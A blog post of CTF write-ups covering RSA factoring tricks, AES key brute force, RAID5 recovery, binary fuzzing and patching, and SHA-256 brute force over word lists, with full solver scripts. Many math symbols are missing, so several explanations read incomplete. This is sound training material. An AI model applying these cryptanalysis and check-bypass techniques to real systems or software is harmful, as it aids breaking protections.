题解、Writeup、游记和碎碎念
由于寒假比较闲,所以找点比赛打。由于需要上交 wp,所以是英文的。
Since is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it.
e=65537
n=...
s=[...(encrypted flag)]
from gmpy2 import *
f={}
for j in range(32,127):
f[j**e%n]=j
r=''
for i in s:
r+=chr(f[i])
print r
We doesn't know , but we know that . So is a factor of . Then for two , we can check all , and calculate their . Then just follow #1.
from gmpy2 import *
s=open('c').read()
s1='Encrypted flag:'
s=s[s.find(s1)+len(s1):]
s=eval(s.strip())
a=s[0]
b=s[1]
for i in range(97,97+26):
for j in range(97,97+26):
t=gcd(i**65537-a,j**65537-b)
if t>100:
print '|',t
print i
Maintain the difference of every two adjacent numbers.
#include<bits/stdc++.h>
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;
#define xx first
#define yy second
template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
int s[10000007];
int main()
{
freopen("Given_File.txt","r",stdin);
fo0(i,9999999)
{
int a,b,c;
in,a,b,c;
assert(a>=1&&a<=1000000000);
assert(b>=1&&b<=1000000000);
assert(c>=0&&c<=9);
assert(a<=b);
(s[a]+=c)%=10;
(s[b]+=10-c)%=10;
}
int r=1;
fo1(i,10000000)
{
(s[i]+=s[i-1])%=10;
(s[i]+=10)%=10;
if(s[i])r=(ll)r*s[i]%999999937;
}
out,r,'\n';
}
is a factor of . So we can find .
Since , we can find and .
The in the keys are very similar, just like adjacent primes, so we can check some and factorize .
n=...
p=12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
print(p)
while n%p:
p-=1
print(p)
Consider the given key is a number under some strange base.
Guess each digits is divided in two parts, and they form a 20 base.
After guessing some ways to read the number, finally I found the flag.
(key.txt)
N >N *NNN>N/N>/*//NNN// >> >>.>*./N>.NN/N>N . /N >N>/>/>N/
WN V*\\NVW\WVN* NVNN WN\ \ . *.NN . N NWW\\.W\ W\\ NW N\W
from Crypto.Cipher import AES
c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
iv = '42042042042042042042042042042042'.decode('hex')
def chk(key):
aes = AES.new(key,AES.MODE_CBC, iv)
r=aes.decrypt(c)
for i in r:
if ord(i)<32 or ord(i)>126:
return False
print(r)
return True
def chkn(x):
r=''
for i in range(32):
r+=chr(x&255)
x>>=8
assert x==0
r=r[::-1]
return chk(r)
a,b=open('key.txt').readlines()[:2]
a=a.strip()
b=b.strip()
va={'>':2, '/':1, 'N':3, ' ':0, '.':0}
vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2}
unk=[]
tot=0
for i in range(59):
p=58-i
po=20**i
if a[p]=='*':
assert b[p]=='*'
unk.append((po,i))
else:
tot+=(va[a[p]]*5+vb[b[p]])*po
def dfs(x,cur):
if x==len(unk):
return chkn(cur)
for i in range(20):
dfs(x+1,cur+unk[x][0]*i)
dfs(0,tot)
It seems to be raid5. After some observation, I found the way to decrypt it.
(decrypt script, 2.img is the of 1.img and 3.img)
#include<bits/stdc++.h>
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;
#define xx first
#define yy second
template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
int main()
{
FILE*fa=fopen("1.img","rb"),*fb=fopen("2.img","rb"),*fc=fopen("3.img","rb"),*fr=fopen("res.img","wb");
const int N=8192*65536,A=8192,B=N/A;
fo0(i,A)
{
unsigned char f[B];
if(i%3==0)
{
fread(f,1,B,fb);
fread(f,1,B,fc);
fwrite(f,1,B,fr);
fread(f,1,B,fa);
fwrite(f,1,B,fr);
}
else if(i%3==1)
{
fread(f,1,B,fa);
fread(f,1,B,fb);
fwrite(f,1,B,fr);
fread(f,1,B,fc);
fwrite(f,1,B,fr);
}
else
{
fread(f,1,B,fc);
fread(f,1,B,fa);
fwrite(f,1,B,fr);
fread(f,1,B,fb);
fwrite(f,1,B,fr);
}
}
}
However, this result image seems to be broken (maybe because of header).
I ran binwalk
on this image, and it found a jpg file. That's the flag.
Remove p
and the letter after it.
Work, buy level 1 sword, sleep -5 days, then go to the dragon.
F X 29
can load protected address into I
.
D X Y N
can read protected memory and show them.
6015
F029
D11F
The last 512 bytes is executable, just jump there and check "Last instruction".
First, we can find some way to rotate . (Just consider )
It requires ( is board size) operations.
For a level, we can solve it by such rotation.
For first three levels, it's enough. But for level 4, we need to find out what's the real operation. This is not difficult to be done.
For level 5, we can only guess, and then run this until it succeeds.
from pwn import *
from copy import deepcopy
import random
r=remote('138.68.67.161',60006)
rs=[]
chrs={}
cnts={}
def work_level(id):
global rs,chrs,cnts
r.recvuntil('Level %d\n'%id)
r.recvuntil('Your target:\n')
r.recvuntil(' ')
s=r.recvuntil('\n')
us=s[:]
m=len(s.strip().split())
n=0
req=[]
while True:
s=r.recvuntil('\n').decode()
if len(s)<2:
break
n+=1
req.append(s.strip().split(' ')[1:])
print(n,m,req)
r.recvuntil('Current board:\n\n')
r.recvuntil('\n')
cur=[]
for i in range(n):
s=r.recvuntil('\n').decode()
cur.append(s.strip().split(' ')[1:])
print(cur)
for i in range(n):
print(' '.join(cur[i]))
print(r.recvuntil('Enter'))
print(r.recvuntil(': '))
def rotx(x,u=None):
global rs
if x in chrs:
rs.append(chrs[x])
else:
rs.append(chr(x+65))
for T in range(cnts[x]):
t=cur[x]
cur[x]=t[1:]+t[:1]
if u is not None:
for t in u:
if t[0]==x:
t[1]=(t[1]-1)%m
def roty(y,u=None):
global rs
if -y-1 in chrs:
rs.append(chrs[-y-1])
else:
rs.append(str(y))
for T in range(cnts[-y-1]):
t=cur[0][y]
for i in range(n-1):
cur[i][y]=cur[i+1][y]
cur[n-1][y]=t
if u is not None:
for t in u:
if t[1]==y:
t[0]=(t[0]-1)%n
t=[]
for i in range(n):
t.append(chr(i+65))
for i in range(m):
t.append(str(i))
if id==5:
t=[]
for i in range(n):
t.append(chr(i+65))
random.shuffle(t)
for i in range(n):
chrs[i]=t[i]
t=[]
for i in range(m):
t.append(str(i))
random.shuffle(t)
for i in range(m):
chrs[-i-1]=t[i]
else:
chrs={}
cnts={}
for i in range(-m,n):
cnts[i]=1
if id<=3:
for i in range(n):
chrs[i]=chr(i+65)
for i in range(m):
chrs[-i-1]=str(i)
else:
for ch in t:
#print(ch)
r.send(ch+'\n')
while True:
s=r.recvuntil('\n')
#print(s,us)
if s.strip()==us.strip():
break
cur2=[]
for i in range(n):
s=r.recvuntil('\n').decode()
cur2.append(s.strip().split(' ')[1:])
diff=[]
for i in range(n):
for j in range(m):
if cur[i][j]!=cur2[i][j]:
diff.append((i,j))
assert len(diff)==n or len(diff)==m
xs=set();ys=set()
for i in diff:
xs.add(i[0])
ys.add(i[1])
if len(xs)==1:
for u in xs:
x=u
cnt=0
while cur!=cur2:
rotx(x)
cnt+=1
assert cnt==1 or (cnt+1)%m==0
chrs[x]=ch
cnts[x]=cnt
else:
assert len(ys)==1
for u in ys:
y=u
cnt=0
while cur!=cur2:
roty(y)
cnt+=1
assert cnt==1 or (cnt+1)%n==0
chrs[-y-1]=ch
cnts[-y-1]=cnt
#print(ch,cur)
print(chrs)
print(cnts)
#exit()
rs=[]
def work(x,y,z):
#x<-y y<-z z<-x y is pivot
u=[list(x),list(y),list(z)]
if x[0]==y[0]:
assert x[1]!=y[1] and y[0]!=z[0] and y[1]==z[1]
while u[2]!=list(y):
roty(y[1],u)
while u[0]!=list(y):
rotx(y[0],u)
while u[0]!=list(z):
roty(y[1],u)
while u[2]!=list(y):
rotx(y[0],u)
else:
assert x[1]==y[1] and y[0]==z[0] and y[1]!=z[1]
while u[2]!=list(y):
rotx(y[0],u)
while u[0]!=list(y):
roty(y[1],u)
while u[0]!=list(z):
rotx(y[0],u)
while u[2]!=list(y):
roty(y[1],u)
for i in range(n-1):
for j in range(m):
if i==n-2 and j==m-1:
break
for k in range(n):
for l in range(m):
if req[i][j]==cur[k][l]:
x=k;y=l
break
if i==x and j==y:
continue
if i!=x and j!=y:
assert x>i
work((x,y),(x,j),(i,j))
elif i==x:
t=0
while j==t or y==t:
t+=1
work((x,y),(x+1,y),(x+1,t))
work((x+1,t),(x+1,j),(i,j))
else:
assert j==y
if i!=n-2:
t=1 if y==0 else 0
u=n-1 if x!=n-1 else n-2
work((x,y),(u,y),(u,t))
work((u,t),(u,y),(i,j))
else:
work((x,y),(x,y+1),(i,y+1))
x=i;y+=1
t=0
while j==t or y==t:
t+=1
work((x,y),(x+1,y),(x+1,t))
work((x+1,t),(x+1,j),(i,j))
#print(i,j,cur)
assert cur[i][j]==req[i][j]
#print(cur)
for i in range(m-1):
for k in range(n):
for l in range(m):
if req[n-1][i]==cur[k][l]:
x=k;y=l
break
if n-1==x and i==y:
continue
if x==n-1 and y==m-1:
work((n-1,i),(x,y),(n-2,m-1))
continue
if x==n-1:
work((x,y),(x,m-1),(n-2,m-1))
x=n-2
y=m-1
assert x==n-2 and y==m-1
work((x,y),(n-1,y),(n-1,i))
#print(i,cur)
print(cur)
#print(rs)
#exit()
ST=10000
for i in range(0,len(rs),ST):
r.send(','.join(rs[i:i+ST])+'\n')
if i+ST>=len(rs):
#r.interactive()
#exit()
break
print(r.recvuntil('Enter'))
print(r.recvuntil(': '))
for i in range(1,6):
print('work_level:',i)
work_level(i)
#r.interactive()
print(r.recvuntil('\n'))
tt=r.recv(10)
print(tt)
if tt==b'Enter 0-3 ':
exit()
r.interactive()
If we change some position of input, some suffix of the output will change.
So we can fuzz it. (In fact, it's bfs or maybe A*)
import pexpect,heapq
def work(s):
p=pexpect.spawn(['./baby_bear_bak'])
p.read(613)
p.write(s+b'\n')
res=p.read(100)
t=res.find(b'\r\n')
return res[t+2:t+48]
def bitxor(s,x):
xt=x>>3
return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]
target=b'1100011010101011000100101011000101001011111000'
def cal(s):
t=work(s)
c=0
while c<46 and target[c]==t[c]:
c+=1
return c
def u(x,y):
return x-y*2.5
st=b'0'*16
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
while True:
tt,sc,cur,s=heapq.heappop(q)
print(sc,cur,s)
if sc==46:
print()
print(s.decode()[:-2])
break
t=bitxor(s,cur)
flag=True
for i in t:
if i<32 or i>127:
flag=False
if flag:
ns=cal(t)
heapq.heappush(q,(u(cur+1,ns),ns,cur+1,t))
heapq.heappush(q,(u(cur+1,sc),sc,cur+1,s))
It shows similar features to baba bear, so we can also fuzz.
import os,pexpect,heapq
def uu(s):
r=''
for i in s:
if i=='M':
r+='0'
elif i=='W':
r+='1'
return r
def work(s):
#p=pexpect.spawn('./papa_bear '+s.decode())
os.system('./papa_bear "'+s.decode().replace('\\','\\\\').replace('"','\\"').replace('`','\\`')+'" 0>out.txt')
return uu(open('out.txt').read())
def bitxor(s,x):
xt=x>>3
return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]
#print(work('1231231231231234'))
#print(work(b'\0'*16))
#print(work(bitxor(b'\0'*16,10)))
target=uu(open('sample.txt').read())
print(len(target),target)
print(len(work(b'0'*100)))
def cal(s):
t=work(s)
c=0
while c<275 and target[c]==t[c]:
c+=1
return c
def u(x,y):
return x-y*2
#return -y
st=b'HackTM{F4th3r b'+b'0'*80
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
L=4
while True:
tt,sc,cur,s=heapq.heappop(q)
print(sc,cur,s)
if sc==275:
print()
print(s.decode()[:-2])
break
for j in range(1,1<<L):
t=s
for k in range(L):
if j>>k&1:
t=bitxor(t,cur+k)
flag=True
for i in t:
if i<32 or i>126:
flag=False
if flag:
ns=cal(t)
heapq.heappush(q,(u(cur+L,ns),ns,cur+L,t))
heapq.heappush(q,(u(cur+L,sc),sc,cur+L,s))
The binary translates words from a dictionary, and there's an hidden option 9.
That requires pro user, and we patched it at 0xec64.
The option 9 requires 6 words, and checks them using contains_key
. Then it connects these words and checks their sha256, and finally use it as the key of chacha to get the flag.
However, these hash tables were empty, so it's difficult to know which words are required.
Then the hint gives the Boggle game, and https://github.com/AmokHuginnsson/boggle-solvers/blob/master/solve.py tells us the rules.
So we can find the words for the 6 groups.
char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};
Then just brute force the sha256.
#include<bits/stdc++.h>
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;
#define xx first
#define yy second
template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
#include "picosha2.h"
#include "omp.h"
const int C0=33,C1=27,C2=47,C3=39,C4=44,C5=35;
const unsigned char req[33]={191, 215, 169, 38, 6, 20, 158, 102, 23, 156, 141, 6, 168, 186, 80, 245, 135, 162, 150, 225, 107, 64, 252, 16, 89, 235, 42, 102, 102, 10, 239, 19};
char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};
#define A(t) int c##t=c;for(char*i=s##t[x##t];*i;i++)tmp[c++]=*i;
#define D(t) c=c##t;
void work(int x0,int x1)
{
char tmp[105];
int c=0;
A(0);
A(1);
fo0(x2,C2)
{
A(2);
fo0(x3,C3)
{
A(3);
fo0(x4,C4)
{
A(4);
fo0(x5,C5)
{
A(5);
unsigned char res[picosha2::k_digest_size+1];
picosha2::hash256(tmp,tmp+c,res,res+picosha2::k_digest_size);
//std::string hex_str = picosha2::bytes_to_hex_string(res,res+picosha2::k_digest_size);
//std::cout<<hex_str<<std::endl;
//out,c,'\n';
if(res[0]==191)//req[0]
{
fo1(i,31)if(res[i]!=req[i])goto naive;
printf("%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
fprintf(stderr,"%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
naive:;
}
//fo0(i,c)putchar(tmp[i]);puts("");
//fo0(i,picosha2::k_digest_size)printf("%02x",res[i]);puts("");
//cnt+=c;
D(5);
}
D(4);
}
D(3);
}
D(2);
}
out,x0,' ',x1,'\n';
}
int main()
{
omp_set_num_threads(24);
#pragma omp parallel for
for(int i=0;i<C0*C1;i++)
work(i%C0,i/C0);
}
The final key is learningfunfriendteamovercomingpassion
, then we patched contains_key
, input these keys into the binary, then we got the flag.
It generates x86 instructions from some byte code and given key.
Here's some python equivalent.
